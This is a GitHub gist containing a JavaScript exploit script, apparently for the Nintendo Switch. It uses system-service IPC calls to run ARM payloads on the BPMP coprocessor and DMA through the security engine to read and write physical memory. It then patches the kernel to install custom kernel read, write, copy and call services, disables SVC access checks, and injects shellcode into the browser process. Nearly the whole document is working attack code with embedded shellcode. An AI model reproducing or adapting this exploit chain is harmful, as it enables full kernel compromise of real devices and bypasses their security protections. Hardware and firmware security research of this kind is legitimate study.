Created
August 8, 2019 07:53
-
-
Save SciresM/d8fea2037ee1fadda8614480655c74ae to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var res = sc.ipcMsg(600).datau64(0x40000000, 0x40000).sendTo('fatal:u').assertOk(); | |
var addr = [res.data[0], res.data[1]]; | |
var sz = [res.data[2], res.data[3]]; | |
utils.log('IRAM at: '+utils.paddr(addr)+', size: '+utils.paddr(sz)); | |
sc.iramAddr = addr; | |
iramWrite4 = function(val, ofs) { | |
sc.ipcMsg(503).datau64(val, utils.add2(sc.iramAddr, ofs)).sendTo('fatal:u').assertOk(); | |
} | |
iramWrite8 = function(val, ofs) { | |
sc.ipcMsg(502).datau64(val, utils.add2(sc.iramAddr, ofs)).sendTo('fatal:u').assertOk(); | |
} | |
iramRead4 = function (ofs) { | |
return utils.pad64(sc.ipcMsg(501).datau64(utils.add2(sc.iramAddr, ofs)).sendTo('fatal:u').assertOk().data[0]); | |
} | |
iramRead8 = function (ofs) { | |
var res = sc.ipcMsg(500).datau64(utils.add2(sc.iramAddr, ofs)).sendTo('fatal:u').assertOk(); | |
return [res.data[0], res.data[1]]; | |
} | |
toUint32 = function(v) { | |
var dv = new DataView(new ArrayBuffer(4)); | |
dv.setUint32(0, v, true); | |
return dv.getUint32(0, true); | |
} | |
sc.u32 = toUint32; | |
runBPMPPayload = function(innerPayload) { | |
var payload = [0xE3A0C207, 0xE28CC801, 0xE28CCA09, 0xE59CB23C, 0xE3A00000, 0xE58C023C, // Disable SMMU | |
0xE3A00102, 0xE5901000, 0xE2800801, 0xE350020F, 0x1AFFFFFB // Flush dcache | |
].concat(innerPayload, | |
[0xE3A00102, 0xE5901000, 0xE2800801, 0xE350020F, 0x1AFFFFFB, // Flush dcache | |
0xE58CB23C, // Restore SMMU | |
0xEAFFFFFE // Wait forever | |
]); | |
utils.dlog('Writing payload...'); | |
for (var i = 0; i < payload.length; i++) { | |
iramWrite4(payload[i], 0x17F5C + 4 * i); | |
} | |
iramWrite4(0xEAFFFFFE, 0x17CC0 + 4 * payload.length); // infloop | |
utils.dlog('Wrote payload!'); | |
// RESET | |
var res = sc.ipcMsg(600).datau64(0x60006000, 0x1000).sendTo('fatal:u').assertOk(); | |
var addr = [res.data[0], res.data[1]]; | |
var sz = [res.data[2], res.data[3]]; | |
utils.dlog('Holding reset...'); | |
sc.ipcMsg(503).datau64(2, utils.add2(addr, 0x300)).sendTo('fatal:u').assertOk(); | |
utils.dlog('Clearing reset...'); | |
sc.ipcMsg(503).datau64(2, utils.add2(addr, 0x304)).sendTo('fatal:u').assertOk(); | |
utils.dlog('Turning on flow...'); | |
res = sc.ipcMsg(600).datau64(0x60007000, 0x1000).sendTo('fatal:u').assertOk(); | |
addr = [res.data[0], res.data[1]]; | |
sz = [res.data[2], res.data[3]]; | |
sc.ipcMsg(503).datau64(0, utils.add2(addr, 4)).sendTo('fatal:u').assertOk(); | |
sc.svc(0xB, [250000000]); | |
utils.dlog('Turning off BPMP!'); | |
sc.ipcMsg(503).datau64(0x50000000, utils.add2(addr, 4)).sendTo('fatal:u').assertOk(); | |
} | |
clearFakePageTables = function() { | |
runBPMPPayload([0xE3A01103, 0xE3A02000, 0xE3A03000, 0xE7813002, 0xE2822004, 0xE3520A03, 0x1AFFFFFB]); | |
} | |
setupPageTablesForDMA = function(physBase) { | |
var physVal = toUint32(0xE0000000 + (((physBase & 0xFFFFF000) / 0x1000) & 0x000FFFFF)); | |
runBPMPPayload([0xE3A01103, 0xE3A0320F, 0xE2833703, 0xE2833001, 0xE5813000, 0xE3A0320E, 0xE2833702, 0xE2811A01, 0xE5813000, 0xE59F3038, 0xE5813004, 0xE2833001, 0xE5813008, 0xE3A01207, 0xE2811801, 0xE2811A09, 0xE3A03001, 0xE581301C, 0xE3A0320E, 0xE2833703, 0xE5813020, 0xE3A03102, 0xE2833401, 0xE5813024, 0xEA000000, physVal, 0xE320F000]); | |
} | |
setupDmaLists = function(physBase) { | |
runBPMPPayload([0xE3A01102, 0xE3A03000, 0xE5813000, 0xE581300C, 0xE3A03A01, toUint32(0xE2833C00 + (((physBase & 0xF00) / 0x100) & 0xF)), toUint32(0xE2833000 + (physBase & 0xFF)), 0xE5813004, 0xE3A03020, 0xE5813010, 0xE3A03010, 0xE5813008, 0xE5813014]) | |
} | |
copyLowerDramToIram = function() { | |
runBPMPPayload([0xE3A00101, 0xE3A01102, 0xE3A02000, 0xE7913002, 0xE7803002, 0xE2822004, 0xE3520A02, 0x1AFFFFFA]); | |
} | |
copyDMABufFromIramToDram = function() { | |
runBPMPPayload([0xE3A00101, 0xE3A01102, 0xE5902020, 0xE5812020, 0xE5902024, 0xE5812024, 0xE5902028, 0xE5812028, 0xE590202C, 0xE581202C]); | |
} | |
saveSESMMUState = function() { | |
runBPMPPayload([0xE3A01207, 0xE2811801, 0xE2811A09, 0xE3A03001, 0xE581301C, 0xE3A00102, 0xE2800080, 0xE5913020, 0xE5803000]) | |
} | |
saveSESMMUState(); | |
readMem = function(physAddr) { | |
clearFakePageTables(); | |
setupPageTablesForDMA(physAddr); | |
setupDmaLists(physAddr); | |
var CTR_X = [0xD44BE966, 0x3B2C8AEF, 0x59FA4C88, 0x2E2B34CA]; | |
var engine = sc.ipcMsg(21).sendTo('spl:').assertOk().data[0]; | |
utils.dlog('Locked engine '+engine); | |
try { | |
var seal = sc.ipcMsg(20).datau32(0x3A41B7D4, 0x39CD73AB, 0x80A770CD, 0xC7C2CA3D).sendTo('spl:').assertOk(); | |
sc.ipcMsg(19).datau32(seal.data[0], seal.data[1], seal.data[2], seal.data[3], engine).sendTo('spl:').assertOk(); | |
var crypt = sc.ipcMsg(1000).datau64(0xC3000009, 0x20 + engine, 0, 0, 0x0, 0xC, 0x10).sendTo('fatal:u').assertOk(); | |
sc.ipcMsg(1000).datau64(0xC3000003, [crypt.data[2], crypt.data[3]]).sendTo('fatal:u').assertOk(); | |
} finally { | |
sc.ipcMsg(22).datau32(engine).sendTo('spl:').assertOk(); | |
utils.dlog('Unlocked engine!'); | |
} | |
copyLowerDramToIram(); | |
return new Uint32Array([toUint32(iramRead4(0x20)[0] ^ CTR_X[0]), | |
toUint32(iramRead4(0x24)[0] ^ CTR_X[1]), | |
toUint32(iramRead4(0x28)[0] ^ CTR_X[2]), | |
toUint32(iramRead4(0x2C)[0] ^ CTR_X[3])]); | |
} | |
writeMem = function(physAddr, mem) { | |
clearFakePageTables(); | |
setupPageTablesForDMA(physAddr); | |
setupDmaLists(physAddr); | |
var CTR_X = [0xD44BE966, 0x3B2C8AEF, 0x59FA4C88, 0x2E2B34CA]; | |
utils.dlog('Writing encmem...'); | |
for (var i = 0; i < 0x4; i ++) { | |
iramWrite4(toUint32(mem[i] ^ CTR_X[i]), 0x20+i*4); | |
} | |
utils.dlog('DMA buf...'); | |
copyDMABufFromIramToDram(); | |
utils.dlog('DMA buf copied!'); | |
var engine = sc.ipcMsg(21).sendTo('spl:').assertOk().data[0]; | |
utils.dlog('Locked engine '+engine); | |
try { | |
var seal = sc.ipcMsg(20).datau32(0x3A41B7D4, 0x39CD73AB, 0x80A770CD, 0xC7C2CA3D).sendTo('spl:').assertOk(); | |
sc.ipcMsg(19).datau32(seal.data[0], seal.data[1], seal.data[2], seal.data[3], engine).sendTo('spl:').assertOk(); | |
var crypt = sc.ipcMsg(1000).datau64(0xC3000009, 0x20 + engine, 0, 0, 0xC, 0x0, 0x10).sendTo('fatal:u').assertOk(); | |
sc.ipcMsg(1000).datau64(0xC3000003, [crypt.data[2], crypt.data[3]]).sendTo('fatal:u').assertOk(); | |
} finally { | |
sc.ipcMsg(22).datau32(engine).sendTo('spl:').assertOk(); | |
utils.dlog('Unlocked engine!'); | |
} | |
} | |
if (sc.installedCustomSvcs == undefined || !sc.installedCustomSvcs) { | |
sc.installedCustomSvcs = false; | |
var kernBase = utils.parseAddr('FFFFFFF7FFC00000'); | |
var customSvcOfs = 0x62880; | |
utils.log('Installing svcKernelWrite...'); | |
/** | |
* svc 0x3E: svcKernelWrite(value, address, width); | |
* | |
* Arguments: A value to write, a Kernel pointer to write to, and a width for the write (1, 2, 4, or 8). | |
* Writes width bytes from value to address. | |
* Returns 0 in X0 for a valid width, 0xCA01 for invalid width. | |
* No validation is performed on the address pointer argument or on the value argument. | |
*/ | |
var svcKernWriteShellcode = [[0x7100045F, 0x54000120, 0x7100085F, 0x54000140], [0x7100105F, 0x54000160, 0x7100205F, 0x54000180], [0xD2994020, 0xD65F03C0, 0x39000020, 0xD2800000], [0xD65F03C0, 0x79000020, 0xD2800000, 0xD65F03C0], [0xB9000020, 0xD2800000, 0xD65F03C0, 0xF9000020], [0xD2800000, 0xD65F03C0, 0xD503201F, 0xD503201F]]; | |
var svcKernWriteOfs = customSvcOfs; | |
var svcKernWriteOfsK = utils.add2(kernBase, svcKernWriteOfs); | |
for (var i = 0; i < svcKernWriteShellcode.length; i++) { | |
writeMem(0x800A0000 + customSvcOfs, svcKernWriteShellcode[i]); | |
customSvcOfs += 0x10; | |
} | |
/** | |
* svc 0x3D: svcKernelRead(address, width); | |
* | |
* Arguments: A Kernel pointer to read in, and a width for the read (1, 2, 4, or 8). | |
* Reads width bytes from address, storing the result in X1. | |
* Returns 0 in X0 for a valid width, 0xCA01 for invalid width. | |
* No validation is performed on the address pointer argument. | |
*/ | |
utils.log('Installing svcKernelRead...'); | |
var svcKernReadShellcode = [[0x7100043F, 0x54000120, 0x7100083F, 0x54000140], [0x7100103F, 0x54000160, 0x7100203F, 0x54000180], [0xD2994020, 0xD65F03C0, 0x39400001, 0xD2800000], [0xD65F03C0, 0x79400001, 0xD2800000, 0xD65F03C0], [0xB9400001, 0xD2800000, 0xD65F03C0, 0xF9400001], [0xD2800000, 0xD65F03C0, 0xD503201F, 0xD503201F]]; | |
var svcKernReadOfs = customSvcOfs; | |
var svcKernReadOfsK = utils.add2(kernBase, svcKernReadOfs); | |
for (var i = 0; i < svcKernReadShellcode.length; i++) { | |
writeMem(0x800A0000 + customSvcOfs, svcKernReadShellcode[i]); | |
customSvcOfs += 0x10; | |
} | |
/** | |
* svc 0x3F: svcKernelCopy(dst, src, size); | |
* | |
* Arguments: A destination kernel pointer, a source kernel pointer, and a size. | |
* Performs memcpy(dst, src, size). | |
* Returns 0 in X0. | |
* No validation is performed on any arguments. | |
*/ | |
utils.log('Installing svcKernelCopy...'); | |
var svcKernCopyShellcode = [[0xA9BF7BFD, 0xA9BF17E4, 0x580000C4, 0xD63F0080], [0xA8C117E4, 0xA8C17BFD, 0x2A1F03E0, 0xD65F03C0], [0xFFC62178, 0xFFFFFFF7, 0xD503201F, 0xD503201F]]; | |
var svcKernCopyOfs = customSvcOfs; | |
var svcKernCopyOfsK = utils.add2(kernBase, svcKernCopyOfs); | |
for (var i = 0; i < svcKernCopyShellcode.length; i++) { | |
writeMem(0x800A0000 + customSvcOfs, svcKernCopyShellcode[i]); | |
customSvcOfs += 0x10; | |
} | |
/** | |
* svc 0x6F: svcKernelCall(fptr, register_buffer); | |
* | |
* Arguments: A kernel function pointer (!), and a buffer to read and dump registers to. | |
* Buffer should be size 0x100, with X0 at 0, X1 at 8, etc through X30 at 0xF0. | |
* Calls the passed function pointer with the relevant arguments, and dumps output registers to the input buffer. | |
* Returns 0 in X0. | |
* No validation is performed on any arguments. | |
*/ | |
utils.log('Installing svcKernelCall...'); | |
var svcKernCallShellcode = [[0xD10403FF, 0xA90007E0, 0xA9010FE2, 0xA90217E4], [0xA9031FE6, 0xA90427E8, 0xA9052FEA, 0xA90637EC], [0xA9073FEE, 0xA90847F0, 0xA9094FF2, 0xA90A57F4], [0xA90B5FF6, 0xA90C67F8, 0xA90D6FFA, 0xA90E77FC], [0xF9007BFE, 0xAA0003F0, 0xAA0103E0, 0xA9410C02], [0xA9421404, 0xA9431C06, 0xA9442408, 0xA9452C0A], [0xA946340C, 0xA9473C0E, 0xF9404411, 0xA9494C12], [0xA94A5414, 0xA94B5C16, 0xA94C6418, 0xA94D6C1A], [0xA94E741C, 0xF940781E, 0xA9400400, 0xD63F0200], [0xF81F8FE0, 0xF9400BE0, 0xA9000400, 0xA9010C02], [0xA9021404, 0xA9031C06, 0xA9042408, 0xA9052C0A], [0xA906340C, 0xA9073C0E, 0xA9084410, 0xA9094C12], [0xA90A5414, 0xA90B5C16, 0xA90C6418, 0xA90D6C1A], [0xA90E741C, 0xF900781E, 0xF84087E1, 0xF9000001], [0xA9410FE2, 0xA94217E4, 0xA9431FE6, 0xA94427E8], [0xA9452FEA, 0xA94637EC, 0xA9473FEE, 0xA94847F0], [0xA9494FF2, 0xA94A57F4, 0xA94B5FF6, 0xA94C67F8], [0xA94D6FFA, 0xA94E77FC, 0xF9407BFE, 0x910403FF], [0xAA1F03E0, 0xD65F03C0, 0xD503201F, 0xD503201F]]; | |
var svcKernCallOfs = customSvcOfs; | |
var svcKernCallOfsK = utils.add2(kernBase, svcKernCallOfs); | |
for (var i = 0; i < svcKernCallShellcode.length; i++) { | |
writeMem(0x800A0000 + customSvcOfs, svcKernCallShellcode[i]); | |
customSvcOfs += 0x10; | |
} | |
writeMem(0x800A0000 + 0x64648, [svcKernReadOfsK[0], svcKernReadOfsK[1], svcKernWriteOfsK[0], svcKernWriteOfsK[1]]); // Write svcKernelRead, svcKernelWrite 32-bit funcptrs | |
writeMem(0x800A0000 + 0x64A48, [svcKernReadOfsK[0], svcKernReadOfsK[1], svcKernWriteOfsK[0], svcKernWriteOfsK[1]]); // Write svcKernelRead, svcKernelWrite 64-bit funcptrs | |
writeMem(0x800A0000 + 0x64650, [svcKernWriteOfsK[0], svcKernWriteOfsK[1], svcKernCopyOfsK[0], svcKernCopyOfsK[1]]); // Write svcKernelWrite, svcKernelCopy 32-bit funcptrs | |
writeMem(0x800A0000 + 0x64A50, [svcKernWriteOfsK[0], svcKernWriteOfsK[1], svcKernCopyOfsK[0], svcKernCopyOfsK[1]]); // Write svcKernelWrite, svcKernelCopy 64-bit funcptrs | |
writeMem(0x800A0000 + 0x647D0, [0, 0, svcKernCallOfsK[0], svcKernCallOfsK[1]]); // Write svcKernelCall 32-bit funcptrs | |
writeMem(0x800A0000 + 0x64BD0, [0, 0, svcKernCallOfsK[0], svcKernCallOfsK[1]]); // Write svcKernelCall 64-bit funcptrs | |
writeMem(0x800A0000 + 0x52828, [0xD503201F, 0xD503201F, 0xD503201F, 0xD503201F]); // NOP out SVC access checks. | |
utils.log('Installed custom SVCs!'); | |
sc.installedCustomSvcs = true; | |
} | |
locateBrowserKProcess = function() { | |
utils.log('Looking for browser KProcess...'); | |
var kDram = utils.parseAddr('FFFFFFF800000000'); | |
var ptr = readMem(0x800A0000 + 0x6A550); // KProcess Slabheap last ptr...2.0.0 | |
var llOfs = utils.sub2([ptr[0], ptr[1]], kDram)[0]; | |
var browserMagic = 0x70416269; | |
while (true) { | |
var llV = readMem(0x80000000 + llOfs + 8); | |
var next = utils.sub2([llV[0], llV[1]], kDram)[0]; | |
var proc = utils.sub2([llV[2], llV[3]], kDram)[0]; | |
var pName = readMem(0x80000000 + proc + 0x190); | |
var pNameU8 = new Uint8Array(pName.buffer); | |
var name = ''; | |
for (var i = 3; i < 0x10; i++) { | |
name += String.fromCharCode(pNameU8[i]); | |
} | |
utils.log('Found Process: '+name); | |
if (pName[1] == browserMagic) { | |
return proc; | |
} | |
llOfs = next; | |
} | |
} | |
resolveProcessAddress = function(kproc, addr) { | |
var kDram = utils.parseAddr('FFFFFFF800000000'); | |
var pageTable = readMem(0x80000000 + kproc + 0x38 + 0x70); | |
var l1 = toUint32(((addr[1] & 0x7F) * 4) + (((addr[0] & 0xC0000000) / 0x40000000) & 0x3)); | |
var l2 = toUint32(((addr[0] & 0x3FE00000) / 0x200000) & 0x1FF); | |
var l3 = toUint32(((addr[0] & 0x1FF000) / 0x1000) & 0x1FF); | |
var l1Ind = (pageTable[3] + 0x1FF) & l1; | |
var l1M = readMem(0x80000000 + utils.sub2([pageTable[0], pageTable[1]], kDram)[0] + 8 * l1Ind); | |
if ((l1M[0] & 3) == 3) { // Level 2 | |
l2M = readMem(toUint32((l1M[0] & 0xFFFFF000) + l2 * 8)); | |
if ((l2M[0] & 3) == 3) { // Level 3 | |
l3M = readMem(toUint32((l2M[0] & 0xFFFFF000) + l3 * 8)); | |
return [toUint32((l3M[0] & 0xFFFFF000) + (addr[0] & 0xFFF)), toUint32(l3M[1] & 0xFFFF)]; | |
} else { | |
return [toUint32((l2M[0] & 0xFFE00000) + (addr[0] & 0x1FFFFF)), toUint32(l2M[1] & 0xFFFF)]; | |
} | |
} else { | |
return [toUint32((l1M[0] & 0xC0000000) + (addr[0] & 0x3FFFFFFF)), toUint32(l1M[1] & 0xFFFF)]; | |
} | |
} | |
var browserKProc = locateBrowserKProcess(); | |
utils.log('Browser KProcess is at '+browserKProc.toString(16)); | |
var mi = sc.svcQueryMem(sc.mref(0), true).assertOk(); | |
var rodata = utils.add2(mi[0], mi[1]); | |
var free_space = utils.sub2(rodata, 0x30); | |
utils.log('Locating code cave...'); | |
var browserFreePhys = resolveProcessAddress(browserKProc, free_space); | |
sc.svcSpace = free_space; | |
utils.log('Installing SVC callers to browser...'); | |
var svcShellcode = [[0xD40007A1, 0xAA0103E0, 0xD65F03C0, 0xD40007C1], [0xD65F03C0, 0xD40007E1, 0xD65F03C0, 0xD4000DE1], [0xD65F03C0, 0xD503201F, 0xD503201F, 0xD503201F]]; | |
for (var i = 0; i < svcShellcode.length; i++) { | |
writeMem(browserFreePhys[0] + i * 0x10, svcShellcode[i]); | |
} | |
sc.kernRead = function(addr, width) { | |
if (width == undefined) { | |
width = 8; | |
} | |
var val = sc.call(sc.svcSpace, [addr, width]); | |
if (width < 8) { val[1] = 0; } | |
return val; // TODO: Check Error Code | |
} | |
sc.kernCopy = function(dst, src, size) { | |
return sc.call(utils.add2(sc.svcSpace, 5 * 4), [dst, src, size]); | |
} | |
sc.kernWrite = function(val, addr, width) { | |
if (width == undefined) { | |
width = 8; | |
} | |
sc.call(utils.add2(sc.svcSpace, 3 * 4), [val, addr, width]); // TODO: Check Error Code | |
} | |
sc.kernCall = function(fptr, args, dump_regs) { | |
if (typeof(fptr) == 'number') { | |
fptr = utils.add2(fptr, [0xFFC00000, 0xFFFFFFF7]); | |
} | |
if (sc.kernLoadBuf === undefined) { | |
sc.kernLoadBuf = sc.malloc(0x100); | |
} | |
switch(arguments.length) { | |
case 1: | |
args = []; | |
case 2: | |
dump_regs = false; | |
} | |
if(args.length > 0) { | |
for(var i = 0; i < 30 && i < args.length; i++) { | |
if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) { | |
sc.write8(sc.getArrayBufferAddr(args[i]), utils.add2(sc.kernLoadBuf, 8*i)); | |
} else { | |
sc.write8(utils.pad64(args[i]), utils.add2(sc.kernLoadBuf, 8*i)); | |
} | |
} | |
} | |
var res = sc.call(utils.add2(sc.svcSpace, 7 * 4), [fptr, sc.kernLoadBuf]); | |
return sc.read8(sc.kernLoadBuf); | |
} | |
sc.resolvePhysicalAddress = function(addr) { | |
var kDram = utils.parseAddr('FFFFFFF800000000'); | |
var read0x10 = function(paddr) { | |
var vaddr = utils.add2(kDram, toUint32(paddr - 0x80000000)); | |
var low = sc.kernRead(vaddr); | |
var hi = sc.kernRead(utils.add2(vaddr, 8)); | |
return [low[0], low[1], hi[0], hi[1]]; | |
} | |
var pageTableAddr = utils.add2(kDram, browserKProc + 0x38 + 0x70); | |
var pageTable = read0x10(0x80000000 + browserKProc + 0x38 + 0x70); | |
var l1 = toUint32(((addr[1] & 0x7F) * 4) + (((addr[0] & 0xC0000000) / 0x40000000) & 0x3)); | |
var l2 = toUint32(((addr[0] & 0x3FE00000) / 0x200000) & 0x1FF); | |
var l3 = toUint32(((addr[0] & 0x1FF000) / 0x1000) & 0x1FF); | |
var l1Ind = (pageTable[3] + 0x1FF) & l1; | |
var l1M = read0x10(0x80000000 + utils.sub2([pageTable[0], pageTable[1]], kDram)[0] + 8 * l1Ind); | |
if ((l1M[0] & 3) == 3) { // Level 2 | |
l2M = read0x10(toUint32((l1M[0] & 0xFFFFF000) + l2 * 8)); | |
if ((l2M[0] & 3) == 3) { // Level 3 | |
l3M = read0x10(toUint32((l2M[0] & 0xFFFFF000) + l3 * 8)); | |
return [toUint32((l3M[0] & 0xFFFFF000) + (addr[0] & 0xFFF)), toUint32(l3M[1] & 0xFFFF)]; | |
} else { | |
return [toUint32((l2M[0] & 0xFFE00000) + (addr[0] & 0x1FFFFF)), toUint32(l2M[1] & 0xFFFF)]; | |
} | |
} else { | |
return [toUint32((l1M[0] & 0xC0000000) + (addr[0] & 0x3FFFFFFF)), toUint32(l1M[1] & 0xFFFF)]; | |
} | |
} | |
sc.resolvePhysicalAddressForProcess = function(kproc, addr) { | |
var kDram = utils.parseAddr('FFFFFFF800000000'); | |
var read0x10 = function(paddr) { | |
var vaddr = utils.add2(kDram, toUint32(paddr - 0x80000000)); | |
var low = sc.kernRead(vaddr); | |
var hi = sc.kernRead(utils.add2(vaddr, 8)); | |
return [low[0], low[1], hi[0], hi[1]]; | |
} | |
var pageTableAddr = utils.add2(kDram, kproc + 0x38 + 0x70); | |
var pageTable = read0x10(0x80000000 + kproc + 0x38 + 0x70); | |
var l1 = toUint32(((addr[1] & 0x7F) * 4) + (((addr[0] & 0xC0000000) / 0x40000000) & 0x3)); | |
var l2 = toUint32(((addr[0] & 0x3FE00000) / 0x200000) & 0x1FF); | |
var l3 = toUint32(((addr[0] & 0x1FF000) / 0x1000) & 0x1FF); | |
var l1Ind = (pageTable[3] + 0x1FF) & l1; | |
var l1M = read0x10(0x80000000 + utils.sub2([pageTable[0], pageTable[1]], kDram)[0] + 8 * l1Ind); | |
if ((l1M[0] & 3) == 3) { // Level 2 | |
l2M = read0x10(toUint32((l1M[0] & 0xFFFFF000) + l2 * 8)); | |
if ((l2M[0] & 3) == 3) { // Level 3 | |
l3M = read0x10(toUint32((l2M[0] & 0xFFFFF000) + l3 * 8)); | |
return [toUint32((l3M[0] & 0xFFFFF000) + (addr[0] & 0xFFF)), toUint32(l3M[1] & 0xFFFF)]; | |
} else { | |
return [toUint32((l2M[0] & 0xFFE00000) + (addr[0] & 0x1FFFFF)), toUint32(l2M[1] & 0xFFFF)]; | |
} | |
} else { | |
return [toUint32((l1M[0] & 0xC0000000) + (addr[0] & 0x3FFFFFFF)), toUint32(l1M[1] & 0xFFFF)]; | |
} | |
} | |
sc.locateKProcess = function(processName) { | |
var read0x10 = function(paddr) { | |
var vaddr = utils.add2(kDram, toUint32(paddr - 0x80000000)); | |
var low = sc.kernRead(vaddr); | |
var hi = sc.kernRead(utils.add2(vaddr, 8)); | |
return new Uint32Array([low[0], low[1], hi[0], hi[1]]); | |
} | |
var kDram = utils.parseAddr('FFFFFFF800000000'); | |
var ptr = read0x10(0x800A0000 + 0x6A550); // KProcess Slabheap last ptr...2.0.0 | |
var llOfs = utils.sub2([ptr[0], ptr[1]], kDram)[0]; | |
var browserMagic = 0x70416269; | |
while (true) { | |
var llV = read0x10(0x80000000 + llOfs + 8); | |
var next = utils.sub2([llV[0], llV[1]], kDram)[0]; | |
var proc = utils.sub2([llV[2], llV[3]], kDram)[0]; | |
var pName = read0x10(0x80000000 + proc + 0x190); | |
var pNameU8 = new Uint8Array(pName.buffer); | |
var name = ''; | |
for (var i = 3; i < 0x10; i++) { | |
if (pNameU8[i] != 0) { | |
name += String.fromCharCode(pNameU8[i]); | |
} | |
} | |
//utils.log('Found Process: '+name); | |
if (processName.startsWith(name)) { | |
return proc; | |
} | |
llOfs = next; | |
} | |
} | |
// Restore SE SMMU page tables. | |
sc.kernWrite(1, [0xFFDC601C, 0xFFFFFFF7], 4); | |
sc.kernWrite(sc.kernRead([0x80, 0xFFFFFFF8], 4)[0], [0xFFDC6020, 0xFFFFFFF7], 4); | |
utils.log('Kernelhax complete! :)'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment